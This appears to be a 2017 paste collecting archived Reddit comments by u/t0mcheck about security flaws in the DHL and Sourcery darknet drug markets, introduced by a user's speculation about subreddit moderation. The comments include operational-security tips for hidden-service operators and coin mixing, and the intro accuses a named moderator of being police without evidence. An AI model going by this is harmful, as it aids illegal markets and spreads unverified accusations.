· 9 years ago · Aug 31, 2017, 05:42 AM
1Thanks to whoever it was that had the foresight to archive the brief and perplexing occupation of u/t0mcheck on r/darknetmarkets. Took the reigns exposing vulnerahilities in 2 already notable markets rising quickly in popularity as a result of the fallout following Alphabay/Hansa shutdowns roughly 40 and 20 days prior, respectively, to u/t0mcheck's first posts detailing outrageous vulnerabilities in the Sourcery Market, (https://gist.github.com/anonymous/2b9e7a9ada8ee8d508ab58c347909150) which is somehow still at it & the now defunct Darknet Heroes League (DHL) Market; following the banishment of user u/cipherme ( by mod u/wombat2combat who agressively denounced DHL Ip leaks discovered initially by cipher as bogus. they were not and if u/t0mcheck (who could be the same person as cipher) hadn't come in and picked up the slack, that entire incident very well may have just flown under the radar, allowing DHL to continue operations in an the extremely detrimental an insecure state they were in.
2
3DHL tried their best to excuse the vulnerabilities for a day or two, but eventually just gave up and exit-scammed instead. The disproportionate amount of drama surrounding the DHL revelations overshadowing the equally, if not more concerning Sourcery vulns seems to have been key, in retrospect, to Sourcery's ability to "address" the issues with their site, sweep the incidient under the rug, and continue on with minimal harm.
4
5The unusual circumstances surrounding the sudden appearance and dissapearance of u/t0mcheck drew nearly as much speculation and opposition from the community as praise drawn from the priceless insights he provided to it.
6
7He appears to have deleted all of his comments up to the 26th after which his comments al lappear to have been removed as a result of mod (or perhaps automod) action. Oddly enough, all of his submissions detailing the Sourcery and DHl vulns appear to be fully intact to be in tact, whereas 1 0r 2 submissions following this date appear to have been deleted.
8
9T0mcheck submissions archive: https://archive.is/G6i2F (may or may not exclude submissions deleted by t0mcheck)
10
11Archive links to t0mcheck comments sorted from newest to oldest:
12
13While nearly every comment has been deleted or removed, most can be directly referenced and located within this txt from the id string provided in each individual comments permalink at the end of each permalink url. for instance, in the following permalink url which reads: https://www.reddit.com/r/DarkNetMarkets/comments/6s9pi5/t0mcheck_has_deleted_all_his_comments/dlbduoy/ if I search the the id-string "dlbduoy" found at the end of the url, I find the following comment which begins: ""Yep. Beware the shills and psyops..."
14
151. https://archive.is/XSSIL 2. https://archive.is/pxi7B 3. https://archive.is/hOagt
16
174. https://archive.is/rkBal 5. https://archive.is/7lMGr
18
19
20
21Tinfoil hat time. I'm documenting this here because after matching up a number of t0mcheck's removed comments, I am seeing a pattern where a shift in the focus of his communications from exposing specific site vulnerabilities to a place generally informative for the typical user as well as anyone who might be running their own market.
22
23I don't have the time or energy to lay my case out in full here, but I think u/wombat2combat is LE, more likely than not, the entire sub has been compromised. I've definitelya very unusual lack of focus on discussions concerning opsec in that sub at a time when most peopke are mnore worried about it than usual.
24
25When Alpha and Hansa were still around, u/wombat2combat was notorious throughout his tenure for launching outrageous smear campaigns against Alphabay, often directing users to use Hansa instead, even once going so far as to claimn that the Alphabay Admins were plotting to murder Alphbay user for no particuar reason. The guy had a penchant for leading as many users as possibe to the site that would later be revealed as a honeypot and specifically away from the site that LE was unable, for whatever reason, to turn into one. On it's own this could easily be chalked up to coincidence but the as a mod on r/darknetmarkets, he appears to be increasingly adverse to informative dialogue that is not a vendor review/complaint, or current events. The sub use to much more emphasis on opsec, but reviewing wombat's user page, he appears to remove an unprecedented number of posts concerning just that.
26Sourcery also seems to have has r/darknetmarkets Active Warnings,
27
28Also of note, a user by the name of u/t0mcheak (https://www.reddit.com/user/t0mcheak) just so happened to emerge on the very same day that routine removal u/t0mcheck comments began on r/darknetmarkets. At first glance the account appears almost satrical in nature but looking more closey this user appears to be intentionally fooling other users into believing he is t0mcheck, and in some cases giving information to users that directly contradicts information previously give by u/t0mcheck. this does not appear to have been adressed by the mods in any capapcity
29
30
31I think there is a good cahnce that this sub has been totally compromised
32
33
34Skip to content
35
36 All gists
37 GitHub
38
39Instantly share code, notes, and snippets.
40
410
42
43 0
44
45anonymous anonymous/Project Undelete t0mcheck (371 Comments, 8 self-posts))
46Created Aug 11, 2017
47Code
48Revisions 1
49Project Undelete t0mcheck (371 Comments, 8 self-posts))
50Submitted posts begin at line 6046 (search for "selftext" if you want to wade through the metadata)
51
52{
53 "author": "t0mcheck",
54 "author_flair_css_class": null,
55 "author_flair_text": null,
56 "body": "almost every market expires those session if you make more than x requests, or if you make more than y requests in z minutes.\n\nthose numbers are usually low\n\nit's simply logic to protect against exfil or finding vulnerabilities\n\nI have a captcha resolver - have used it against the markets. ",
57 "created_utc": 1502305042,
58 "id": "dle3y8l",
59 "link_id": "t3_6sllkx",
60 "parent_id": "t1_dldz7xn",
61 "retrieved_on": 1502305044,
62 "score": 1,
63 "stickied": false,
64 "subreddit": "DarkNetMarkets",
65 "subreddit_id": "t5_2yt0h"
66 },
67 {
68 "author": "t0mcheck",
69 "author_flair_css_class": null,
70 "author_flair_text": null,
71 "body": "An explanation of?",
72 "created_utc": 1502193022,
73 "id": "dlbqp5q",
74 "link_id": "t3_6s9pi5",
75 "parent_id": "t1_dlbowqj",
76 "retrieved_on": 1502193023,
77 "score": 1,
78 "stickied": false,
79 "subreddit": "DarkNetMarkets",
80 "subreddit_id": "t5_2yt0h"
81 },
82 {
83 "author": "t0mcheck",
84 "author_flair_css_class": null,
85 "author_flair_text": null,
86 "body": "You realize I was making a sarcastic complaint because that is exactly what has happen to all of my posts about security issues with DHL Market ..",
87 "created_utc": 1502183294,
88 "id": "dlbmpnk",
89 "link_id": "t3_6s9pi5",
90 "parent_id": "t1_dlbie77",
91 "retrieved_on": 1502183295,
92 "score": 1,
93 "stickied": false,
94 "subreddit": "DarkNetMarkets",
95 "subreddit_id": "t5_2yt0h"
96 },
97 {
98 "author": "t0mcheck",
99 "author_flair_css_class": null,
100 "author_flair_text": null,
101 "body": "If only we had a system in place in this sub where posts could be verified by the moderators before being approved with misinformation in them.",
102 "created_utc": 1502169956,
103 "id": "dlbgzfp",
104 "link_id": "t3_6s9pi5",
105 "parent_id": "t1_dlb4jk9",
106 "retrieved_on": 1502169957,
107 "score": 1,
108 "stickied": false,
109 "subreddit": "DarkNetMarkets",
110 "subreddit_id": "t5_2yt0h"
111 },
112 {
113 "author": "t0mcheck",
114 "author_flair_css_class": null,
115 "author_flair_text": null,
116 "body": "Telling people to beware is FUD? Only in this place.",
117 "created_utc": 1502166701,
118 "id": "dlbf55z",
119 "link_id": "t3_6s9pi5",
120 "parent_id": "t1_dlbes5l",
121 "retrieved_on": 1502166702,
122 "score": 1,
123 "stickied": false,
124 "subreddit": "DarkNetMarkets",
125 "subreddit_id": "t5_2yt0h"
126 },
127 {
128 "author": "t0mcheck",
129 "author_flair_css_class": null,
130 "author_flair_text": null,
131 "body": "It is? Damn why didn't tell me that - it isn't mentioned in the DNM Bible.",
132 "created_utc": 1502165014,
133 "id": "dlbe2k3",
134 "link_id": "t3_6s9pi5",
135 "parent_id": "t1_dlb7d5u",
136 "retrieved_on": 1502165015,
137 "score": 1,
138 "stickied": false,
139 "subreddit": "DarkNetMarkets",
140 "subreddit_id": "t5_2yt0h"
141 },
142 {
143 "author": "t0mcheck",
144 "author_flair_css_class": null,
145 "author_flair_text": null,
146 "body": "> Did he really?\n\nNope\n\nand hi :)",
147 "created_utc": 1502164914,
148 "id": "dlbe04v",
149 "link_id": "t3_6s9pi5",
150 "parent_id": "t1_dlb8qs1",
151 "retrieved_on": 1502164916,
152 "score": 1,
153 "stickied": false,
154 "subreddit": "DarkNetMarkets",
155 "subreddit_id": "t5_2yt0h"
156 },
157 {
158 "author": "t0mcheck",
159 "author_flair_css_class": null,
160 "author_flair_text": null,
161 "body": "Yep. Beware the shills and psyops - the guy you're replying doesn't even change his writing style between his alts and stands out like a solar eclipse every time he comments.\n\nEverybody should have seen enough these past few weeks to question everything you see or read and why the reporting of security vulns slowed so dramatically here and why a site like DHL can last two years as a favored market here with such serious issues\n\nThese people are just as destructive to the ecosystem as bad admins and LE - we'll get to them when we are done with the markets",
162 "created_utc": 1502164687,
163 "id": "dlbduoy",
164 "link_id": "t3_6s9pi5",
165 "parent_id": "t1_dlbchob",
166 "retrieved_on": 1502164688,
167 "score": 1,
168 "stickied": false,
169 "subreddit": "DarkNetMarkets",
170 "subreddit_id": "t5_2yt0h"
171 },
172 {
173 "author": "t0mcheck",
174 "author_flair_css_class": null,
175 "author_flair_text": null,
176 "body": "I didn't know too much about it so came to it fresh recently. Saw Grams Flow and thought it was one of the dumbest and most dangerous ideas ever\n\nAnd you are right - search could also be manipulated in the same way and serve as an MITM.\n\nThe entire problem with onions is authenticating sites - it's why there is so much phishing. No sites i've seen really have a good approach to that problem - so in the interim until it's solved there will always be the potential of large-scale MITM attacks ",
177 "created_utc": 1502124813,
178 "id": "dlafyt6",
179 "link_id": "t3_6rur0e",
180 "parent_id": "t1_dla18c2",
181 "retrieved_on": 1502124818,
182 "score": 1,
183 "stickied": false,
184 "subreddit": "DarkNetMarkets",
185 "subreddit_id": "t5_2yt0h"
186 },
187 {
188 "author": "t0mcheck",
189 "author_flair_css_class": null,
190 "author_flair_text": null,
191 "body": "What do you think?",
192 "created_utc": 1502086492,
193 "id": "dl9twre",
194 "link_id": "t3_6ry4n9",
195 "parent_id": "t1_dl9tvv3",
196 "retrieved_on": 1502086493,
197 "score": 1,
198 "stickied": false,
199 "subreddit": "DarkNetMarkets",
200 "subreddit_id": "t5_2yt0h"
201 },
202 {
203 "author": "t0mcheck",
204 "author_flair_css_class": null,
205 "author_flair_text": null,
206 "body": "He got flagged for CP *then* they found Hansa",
207 "created_utc": 1502055249,
208 "id": "dl9810x",
209 "link_id": "t3_6ry4n9",
210 "parent_id": "t1_dl952pr",
211 "retrieved_on": 1502055250,
212 "score": 1,
213 "stickied": false,
214 "subreddit": "DarkNetMarkets",
215 "subreddit_id": "t5_2yt0h"
216 },
217 {
218 "author": "t0mcheck",
219 "author_flair_css_class": null,
220 "author_flair_text": null,
221 "body": "Yep. Micrsoft run the main CP DB\n\nhttps://blogs.microsoft.com/on-the-issues/2012/03/19/microsoft-photodna-technology-to-help-law-enforcement-fight-child-pornography/",
222 "created_utc": 1502055227,
223 "id": "dl980ek",
224 "link_id": "t3_6ry4n9",
225 "parent_id": "t1_dl921r0",
226 "retrieved_on": 1502055229,
227 "score": 1,
228 "stickied": false,
229 "subreddit": "DarkNetMarkets",
230 "subreddit_id": "t5_2yt0h"
231 },
232 {
233 "author": "t0mcheck",
234 "author_flair_css_class": null,
235 "author_flair_text": null,
236 "body": "Quick note: don't need anymore txid's - got what we were looking for pretty quickly. Thanks everyone - you'll see how this adds up later.",
237 "created_utc": 1502054893,
238 "id": "dl97qm0",
239 "link_id": "t3_6ry4n9",
240 "parent_id": "t3_6ry4n9",
241 "retrieved_on": 1502054894,
242 "score": 1,
243 "stickied": false,
244 "subreddit": "DarkNetMarkets",
245 "subreddit_id": "t5_2yt0h"
246 },
247 {
248 "author": "t0mcheck",
249 "author_flair_css_class": null,
250 "author_flair_text": null,
251 "body": "> could have just blackmailed them\n\nglad someone pointed this out",
252 "created_utc": 1502041156,
253 "id": "dl8wt03",
254 "link_id": "t3_6ry4n9",
255 "parent_id": "t1_dl8wmxf",
256 "retrieved_on": 1502041157,
257 "score": 1,
258 "stickied": false,
259 "subreddit": "DarkNetMarkets",
260 "subreddit_id": "t5_2yt0h"
261 },
262 {
263 "author": "t0mcheck",
264 "author_flair_css_class": null,
265 "author_flair_text": null,
266 "body": "> I see very few changes in the initial post.\n\nBecause I haven't edited it much. I did most editing offline because I understand that reddit saves revisions.\n\n> You also have to switch number 3 and 4 in the time lines as the dates aren't in order.\n\nThanks. Fixed.\n\n> Trust is fickle and fleeting, I'd rather have the proof and leave such notions at the door.\n\nThat's fine with me. \n\nDefinitive proof of the AV part will be given to the person this is addressed to. They'll also be able to read between the lines, hopefully. ",
267 "created_utc": 1502038860,
268 "id": "dl8uzfh",
269 "link_id": "t3_6ry4n9",
270 "parent_id": "t1_dl8unbs",
271 "retrieved_on": 1502038861,
272 "score": 1,
273 "stickied": false,
274 "subreddit": "DarkNetMarkets",
275 "subreddit_id": "t5_2yt0h"
276 },
277 {
278 "author": "t0mcheck",
279 "author_flair_css_class": null,
280 "author_flair_text": null,
281 "body": "Not yet but /u/DNMSecurityAudit posted [this thread](https://www.reddit.com/r/DarkNetMarkets/comments/6rur0e/trade_route_cancel_after_shipped_exploit/) a few hours ago - which should probably get more attention than it has been getting.",
282 "created_utc": 1502038268,
283 "id": "dl8uinf",
284 "link_id": "t3_6rur0e",
285 "parent_id": "t1_dl8uefi",
286 "retrieved_on": 1502038270,
287 "score": 1,
288 "stickied": false,
289 "subreddit": "DarkNetMarkets",
290 "subreddit_id": "t5_2yt0h"
291 },
292 {
293 "author": "t0mcheck",
294 "author_flair_css_class": null,
295 "author_flair_text": null,
296 "body": "> Also, PM plz.\n\nNo I won't reply to the PM's where you kiss my ass.\n\n/ignored ",
297 "created_utc": 1502036844,
298 "id": "dl8tf2y",
299 "link_id": "t3_6ry4n9",
300 "parent_id": "t1_dl8tden",
301 "retrieved_on": 1502036845,
302 "score": 1,
303 "stickied": false,
304 "subreddit": "DarkNetMarkets",
305 "subreddit_id": "t5_2yt0h"
306 },
307 {
308 "author": "t0mcheck",
309 "author_flair_css_class": null,
310 "author_flair_text": null,
311 "body": "> easy ones\n\nso easy you've found zero",
312 "created_utc": 1502036547,
313 "id": "dl8t6wb",
314 "link_id": "t3_6ry4n9",
315 "parent_id": "t1_dl8sjge",
316 "retrieved_on": 1502036549,
317 "score": 1,
318 "stickied": false,
319 "subreddit": "DarkNetMarkets",
320 "subreddit_id": "t5_2yt0h"
321 },
322 {
323 "author": "t0mcheck",
324 "author_flair_css_class": null,
325 "author_flair_text": null,
326 "body": "> Still waiting for t0ms edit. This one seems like a whole lot of FUD and stretching.\n\nI've replied below why i'm not editing but i'll repeat it here.\n\nI spent more time editing this post than writing it so that enough is revealed but not too much. The first part could have been 3x longer but the people this is addressed to will know what I mean (likewise with the timeline)\n\nIf somebody else wants to come in and explain how AV and signatures, sharing etc. work then i'd be glad because I think my own explination would be biased towards revealing too much.\n\nIn terms of FUD - the only part of this post that could be FUD is the part about the AV signature. The rest is links to things you can click on yourself and verify.\n\nRegarding the AV part - after publishing (i've lost count) vulnerabilities at some point you just have to trust us one this one thing.",
327 "created_utc": 1502036467,
328 "id": "dl8t4oi",
329 "link_id": "t3_6ry4n9",
330 "parent_id": "t1_dl8sg2m",
331 "retrieved_on": 1502036468,
332 "score": 1,
333 "stickied": false,
334 "subreddit": "DarkNetMarkets",
335 "subreddit_id": "t5_2yt0h"
336 },
337 {
338 "author": "t0mcheck",
339 "author_flair_css_class": null,
340 "author_flair_text": null,
341 "body": "I'm leaving it as it is - there is no way of explaining it further without revealing too much.\n\nSomeone who isn't involved with this can chime in an explain how AV threat databases work",
342 "created_utc": 1502036068,
343 "id": "dl8str2",
344 "link_id": "t3_6ry4n9",
345 "parent_id": "t1_dl8sjql",
346 "retrieved_on": 1502036069,
347 "score": 1,
348 "stickied": false,
349 "subreddit": "DarkNetMarkets",
350 "subreddit_id": "t5_2yt0h"
351 },
352 {
353 "author": "t0mcheck",
354 "author_flair_css_class": null,
355 "author_flair_text": null,
356 "body": "yes its awesome :)\n\nppl don't understand that your hidden service needs access to the internet, the internet doesn't need access to your hidden service\n\nit shouldn't even be on a server with a live ip",
357 "created_utc": 1502035185,
358 "id": "dl8s5p5",
359 "link_id": "t3_6ry4n9",
360 "parent_id": "t1_dl8rz3w",
361 "retrieved_on": 1502035186,
362 "score": 1,
363 "stickied": false,
364 "subreddit": "DarkNetMarkets",
365 "subreddit_id": "t5_2yt0h"
366 },
367 {
368 "author": "t0mcheck",
369 "author_flair_css_class": null,
370 "author_flair_text": null,
371 "body": "Hey I thought we were all role playing here!",
372 "created_utc": 1502033256,
373 "id": "dl8qq1h",
374 "link_id": "t3_6ry4n9",
375 "parent_id": "t1_dl8qbrj",
376 "retrieved_on": 1502033257,
377 "score": 1,
378 "stickied": false,
379 "subreddit": "DarkNetMarkets",
380 "subreddit_id": "t5_2yt0h"
381 },
382 {
383 "author": "t0mcheck",
384 "author_flair_css_class": null,
385 "author_flair_text": null,
386 "body": "because they weren't genuine about it - they wanted to both deny the bugs and call us clowns but at the same time silence us with a payment",
387 "created_utc": 1502033073,
388 "id": "dl8ql9r",
389 "link_id": "t3_6ry4n9",
390 "parent_id": "t1_dl8qcu6",
391 "retrieved_on": 1502033074,
392 "score": 1,
393 "stickied": false,
394 "subreddit": "DarkNetMarkets",
395 "subreddit_id": "t5_2yt0h"
396 },
397 {
398 "author": "t0mcheck",
399 "author_flair_css_class": null,
400 "author_flair_text": null,
401 "body": "> Where are these assumptions and conclusions coming from?\n\nUgh - ok. I'll clarify this. Just FYI I spent more time editing this post than writing it so that enough is given away but not too much.",
402 "created_utc": 1502032093,
403 "id": "dl8pusp",
404 "link_id": "t3_6ry4n9",
405 "parent_id": "t1_dl8ps5n",
406 "retrieved_on": 1502032094,
407 "score": 1,
408 "stickied": false,
409 "subreddit": "DarkNetMarkets",
410 "subreddit_id": "t5_2yt0h"
411 },
412 {
413 "author": "t0mcheck",
414 "author_flair_css_class": null,
415 "author_flair_text": null,
416 "body": "Who has it?",
417 "created_utc": 1502031997,
418 "id": "dl8ps69",
419 "link_id": "t3_6ry4n9",
420 "parent_id": "t1_dl8pgti",
421 "retrieved_on": 1502031999,
422 "score": 1,
423 "stickied": false,
424 "subreddit": "DarkNetMarkets",
425 "subreddit_id": "t5_2yt0h"
426 },
427 {
428 "author": "t0mcheck",
429 "author_flair_css_class": null,
430 "author_flair_text": null,
431 "body": "Ahh thats an interesting story - you'll read about it in part 4 :)",
432 "created_utc": 1502031942,
433 "id": "dl8pqpw",
434 "link_id": "t3_6ry4n9",
435 "parent_id": "t1_dl8pne1",
436 "retrieved_on": 1502031943,
437 "score": 1,
438 "stickied": false,
439 "subreddit": "DarkNetMarkets",
440 "subreddit_id": "t5_2yt0h"
441 },
442 {
443 "author": "t0mcheck",
444 "author_flair_css_class": null,
445 "author_flair_text": null,
446 "body": "Two days later and your feelings are still hurt?",
447 "created_utc": 1502031468,
448 "id": "dl8pejh",
449 "link_id": "t3_6ry4n9",
450 "parent_id": "t1_dl8pdl3",
451 "retrieved_on": 1502031469,
452 "score": 1,
453 "stickied": false,
454 "subreddit": "DarkNetMarkets",
455 "subreddit_id": "t5_2yt0h"
456 },
457 {
458 "author": "t0mcheck",
459 "author_flair_css_class": null,
460 "author_flair_text": null,
461 "body": "They likely don't even know what they have",
462 "created_utc": 1502031396,
463 "id": "dl8pcsu",
464 "link_id": "t3_6ry4n9",
465 "parent_id": "t1_dl8os7t",
466 "retrieved_on": 1502031398,
467 "score": 1,
468 "stickied": false,
469 "subreddit": "DarkNetMarkets",
470 "subreddit_id": "t5_2yt0h"
471 },
472 {
473 "author": "t0mcheck",
474 "author_flair_css_class": null,
475 "author_flair_text": null,
476 "body": "> Losing freedom because some guy got upset DHL wouldn't take him seriously and pay out a bug bounty is worse.\n\nThey offered me a bug bounty - I told them to stick it up their butts",
477 "created_utc": 1502031314,
478 "id": "dl8papy",
479 "link_id": "t3_6ry4n9",
480 "parent_id": "t1_dl8p0dp",
481 "retrieved_on": 1502031316,
482 "score": 1,
483 "stickied": false,
484 "subreddit": "DarkNetMarkets",
485 "subreddit_id": "t5_2yt0h"
486 },
487 {
488 "author": "t0mcheck",
489 "author_flair_css_class": null,
490 "author_flair_text": null,
491 "body": "Thanks for reading.",
492 "created_utc": 1502031179,
493 "id": "dl8p7ck",
494 "link_id": "t3_6ry4n9",
495 "parent_id": "t1_dl8p586",
496 "retrieved_on": 1502031180,
497 "score": 1,
498 "stickied": false,
499 "subreddit": "DarkNetMarkets",
500 "subreddit_id": "t5_2yt0h"
501 },
502 {
503 "author": "t0mcheck",
504 "author_flair_css_class": null,
505 "author_flair_text": null,
506 "body": "The broader point is that Hansa sounds like they caught CP in the AV and then worked backwards.\n\nThe similarities here are only that files get caught in AV which I don't think many people consider - you don't need to have a virus",
507 "created_utc": 1502031121,
508 "id": "dl8p5x5",
509 "link_id": "t3_6ry4n9",
510 "parent_id": "t1_dl8o791",
511 "retrieved_on": 1502031123,
512 "score": 1,
513 "stickied": false,
514 "subreddit": "DarkNetMarkets",
515 "subreddit_id": "t5_2yt0h"
516 },
517 {
518 "author": "t0mcheck",
519 "author_flair_css_class": null,
520 "author_flair_text": null,
521 "body": "Read the post. They're not broadcast from the server.",
522 "created_utc": 1502030919,
523 "id": "dl8p0us",
524 "link_id": "t3_6ry4n9",
525 "parent_id": "t1_dl8ot8e",
526 "retrieved_on": 1502030920,
527 "score": 1,
528 "stickied": false,
529 "subreddit": "DarkNetMarkets",
530 "subreddit_id": "t5_2yt0h"
531 },
532 {
533 "author": "t0mcheck",
534 "author_flair_css_class": null,
535 "author_flair_text": null,
536 "body": "Yes the destination address of those tx's would work as well - but i'd have no way of confirming it",
537 "created_utc": 1502030881,
538 "id": "dl8ozvv",
539 "link_id": "t3_6ry4n9",
540 "parent_id": "t1_dl8ovws",
541 "retrieved_on": 1502030886,
542 "score": 1,
543 "stickied": false,
544 "subreddit": "DarkNetMarkets",
545 "subreddit_id": "t5_2yt0h"
546 },
547 {
548 "author": "t0mcheck",
549 "author_flair_css_class": null,
550 "author_flair_text": null,
551 "body": "> I wouldn't recommend people do that but up to them. Wouldn't the large majority of this group be vendors?\n\nsend it anon - something that went into a mixer or a small tx\n\nwe might not need more than one",
552 "created_utc": 1502029531,
553 "id": "dl8o3ja",
554 "link_id": "t3_6ry4n9",
555 "parent_id": "t1_dl8m2a3",
556 "retrieved_on": 1502029534,
557 "score": 1,
558 "stickied": false,
559 "subreddit": "DarkNetMarkets",
560 "subreddit_id": "t5_2yt0h"
561 },
562 {
563 "author": "t0mcheck",
564 "author_flair_css_class": null,
565 "author_flair_text": null,
566 "body": "> and that it's now used by law enforcement?\n\nwho said that?",
567 "created_utc": 1502029236,
568 "id": "dl8nwus",
569 "link_id": "t3_6ry4n9",
570 "parent_id": "t1_dl8nt9e",
571 "retrieved_on": 1502029236,
572 "score": 1,
573 "stickied": false,
574 "subreddit": "DarkNetMarkets",
575 "subreddit_id": "t5_2yt0h"
576 },
577 {
578 "author": "t0mcheck",
579 "author_flair_css_class": null,
580 "author_flair_text": null,
581 "body": "Nice work again.\n\nSuch a simple bug - bet the rest of the market is equally awesome :)",
582 "created_utc": 1502027092,
583 "id": "dl8mmuo",
584 "link_id": "t3_6rur0e",
585 "parent_id": "t3_6rur0e",
586 "retrieved_on": 1502027094,
587 "score": 1,
588 "stickied": false,
589 "subreddit": "DarkNetMarkets",
590 "subreddit_id": "t5_2yt0h"
591 },
592 {
593 "author": "t0mcheck",
594 "author_flair_css_class": null,
595 "author_flair_text": null,
596 "body": "Who said it was easy? This makes it look easy.",
597 "created_utc": 1502025952,
598 "id": "dl8m06o",
599 "link_id": "t3_6ry4n9",
600 "parent_id": "t1_dl8lw0w",
601 "retrieved_on": 1502025953,
602 "score": 1,
603 "stickied": false,
604 "subreddit": "DarkNetMarkets",
605 "subreddit_id": "t5_2yt0h"
606 },
607 {
608 "author": "t0mcheck",
609 "author_flair_css_class": null,
610 "author_flair_text": null,
611 "body": "I haven't posted anyones dox",
612 "created_utc": 1502025424,
613 "id": "dl8lq48",
614 "link_id": "t3_6ry4n9",
615 "parent_id": "t1_dl8loas",
616 "retrieved_on": 1502025424,
617 "score": 1,
618 "stickied": false,
619 "subreddit": "DarkNetMarkets",
620 "subreddit_id": "t5_2yt0h"
621 },
622 {
623 "author": "t0mcheck",
624 "author_flair_css_class": null,
625 "author_flair_text": null,
626 "body": "I mentioned it in passing here:\n\nhttps://www.reddit.com/r/DarkNetMarkets/comments/6ry4n9/dhl_market_security_part_3_operation_return_to/\n\nyou ok with that, want a credit?",
627 "created_utc": 1502023129,
628 "id": "dl8kmv0",
629 "link_id": "t3_6rjwqv",
630 "parent_id": "t1_dl8836l",
631 "retrieved_on": 1502023130,
632 "score": 1,
633 "stickied": false,
634 "subreddit": "DarkNetMarkets",
635 "subreddit_id": "t5_2yt0h"
636 },
637 {
638 "author": "t0mcheck",
639 "author_flair_css_class": null,
640 "author_flair_text": null,
641 "body": "Didn't think it was related - thanks",
642 "created_utc": 1502001363,
643 "id": "dl8cxof",
644 "link_id": "t3_6rjwqv",
645 "parent_id": "t1_dl8836l",
646 "retrieved_on": 1502001365,
647 "score": 1,
648 "stickied": false,
649 "subreddit": "DarkNetMarkets",
650 "subreddit_id": "t5_2yt0h"
651 },
652 {
653 "author": "t0mcheck",
654 "author_flair_css_class": null,
655 "author_flair_text": null,
656 "body": "If they come back they should only be coming back to give back coins\n\nDHL mods: you know that we know that your OPSEC on the servers hasn't been consistent. You guys pissed your identities all over the internet while running this shitty site. If you know what is best for you refund.",
657 "created_utc": 1501990508,
658 "id": "dl87741",
659 "link_id": "t3_6rtrxw",
660 "parent_id": "t1_dl7o0fn",
661 "retrieved_on": 1501990509,
662 "score": 1,
663 "stickied": false,
664 "subreddit": "DarkNetMarkets",
665 "subreddit_id": "t5_2yt0h"
666 },
667 {
668 "author": "t0mcheck",
669 "author_flair_css_class": null,
670 "author_flair_text": null,
671 "body": "I did! Thank you - much appreciated. \n\nI haven't downloaded the entire blockchain yet (I would have guessed ~5GB before starting) \n\nDo you follow the Shadow Brokers story? Mind if I pm or email you questions at some point?",
672 "created_utc": 1501915986,
673 "id": "dl6za2y",
674 "link_id": "t3_6rcwiv",
675 "parent_id": "t1_dl6vr9g",
676 "retrieved_on": 1501915988,
677 "score": 1,
678 "stickied": false,
679 "subreddit": "DarkNetMarkets",
680 "subreddit_id": "t5_2yt0h"
681 },
682 {
683 "author": "t0mcheck",
684 "author_flair_css_class": null,
685 "author_flair_text": null,
686 "body": "Great design and support replies are more important than security. And you guys wonder why despite all the great anonymity tech so many of you still get arrested and why so many markets keep going down.",
687 "created_utc": 1501906693,
688 "id": "dl6usql",
689 "link_id": "t3_6rjwqv",
690 "parent_id": "t1_dl5qlrj",
691 "retrieved_on": 1501906694,
692 "score": 1,
693 "stickied": false,
694 "subreddit": "DarkNetMarkets",
695 "subreddit_id": "t5_2yt0h"
696 },
697 {
698 "author": "t0mcheck",
699 "author_flair_css_class": null,
700 "author_flair_text": null,
701 "body": "or you could just not use DHL and not have to find out the hard way just what being caught with 10 grams of a schedule 1 substance being transported across state lines looks like ",
702 "created_utc": 1501906559,
703 "id": "dl6uq5l",
704 "link_id": "t3_6rjwqv",
705 "parent_id": "t1_dl5y19x",
706 "retrieved_on": 1501906560,
707 "score": 1,
708 "stickied": false,
709 "subreddit": "DarkNetMarkets",
710 "subreddit_id": "t5_2yt0h"
711 },
712 {
713 "author": "t0mcheck",
714 "author_flair_css_class": null,
715 "author_flair_text": null,
716 "body": "if your OPSEC depends on the resource constraints of local law enforcement then you're going to have a bad time.\n\nIt's only a matter of time before the ban hammer comes down hard on everything DNM related - don't think the DNMs don't piss them off so much that they don't want to make a big point of it",
717 "created_utc": 1501906253,
718 "id": "dl6uk0z",
719 "link_id": "t3_6rjwqv",
720 "parent_id": "t1_dl5xlyu",
721 "retrieved_on": 1501906255,
722 "score": 1,
723 "stickied": false,
724 "subreddit": "DarkNetMarkets",
725 "subreddit_id": "t5_2yt0h"
726 },
727 {
728 "author": "t0mcheck",
729 "author_flair_css_class": null,
730 "author_flair_text": null,
731 "body": "thanks randomFactBot",
732 "created_utc": 1501904113,
733 "id": "dl6tbep",
734 "link_id": "t3_6rlczq",
735 "parent_id": "t1_dl6eoaf",
736 "retrieved_on": 1501904115,
737 "score": 1,
738 "stickied": false,
739 "subreddit": "DarkNetMarkets",
740 "subreddit_id": "t5_2yt0h"
741 },
742 {
743 "author": "t0mcheck",
744 "author_flair_css_class": null,
745 "author_flair_text": null,
746 "body": "report to interview room #3 please",
747 "created_utc": 1501879341,
748 "id": "dl6bfkk",
749 "link_id": "t3_6rm9lu",
750 "parent_id": "t1_dl647hy",
751 "retrieved_on": 1501879342,
752 "score": 1,
753 "stickied": false,
754 "subreddit_id": "t5_2yt0h"
755 },
756 {
757 "author": "t0mcheck",
758 "author_flair_css_class": null,
759 "author_flair_text": null,
760 "body": "The servers are .. Russia is building its own great firewall\n\nEast Europe is pretty much the home for bulletproof providers tho",
761 "created_utc": 1501879216,
762 "id": "dl6bblx",
763 "link_id": "t3_6rlczq",
764 "parent_id": "t1_dl6aj0r",
765 "retrieved_on": 1501879217,
766 "score": 1,
767 "stickied": false,
768 "subreddit": "DarkNetMarkets",
769 "subreddit_id": "t5_2yt0h"
770 },
771 {
772 "author": "t0mcheck",
773 "author_flair_css_class": null,
774 "author_flair_text": null,
775 "body": "I want to start a thread on what vulnerability disclosure looks like for DNMs - not just for researchers but for markets as well. \n\nI don't think the disclosure timeframes used in ordinary disclosure policies work on DNMs because the data at risk is a lot more valuable than having your email address or credit card data leak\n\nFor sites it can be something akin to - if you follow X, Y and Z with vuln reporting and bug bounty program then you get the benefit of an D day window to fix bugs - but they'd have to earn getting to that position (flush out the remaining DHL type admins) \n\nNo way to police it outside of community pressure and the threat of how future bugs will be handled. Sites that follow the protocol get endorsed as 'DNM-VD' (or whatever) compliant and customers are encouraged to use those sites\n\nThats what I see as a framwork anyway (this is the input of 3 ppl on chat so far so its not just me)",
776 "created_utc": 1501879104,
777 "id": "dl6b808",
778 "link_id": "t3_6rjg56",
779 "parent_id": "t1_dl5yvzt",
780 "retrieved_on": 1501879106,
781 "score": 1,
782 "stickied": false,
783 "subreddit": "DarkNetMarkets",
784 "subreddit_id": "t5_2yt0h"
785 },
786 {
787 "author": "t0mcheck",
788 "author_flair_css_class": null,
789 "author_flair_text": null,
790 "body": "This is a great point - I think it explains why Russia has a thriving carding and underground scene.\n\nNot sure why the conditions aren't quiet there yet for other parts of the world",
791 "created_utc": 1501877457,
792 "id": "dl69qj5",
793 "link_id": "t3_6rlczq",
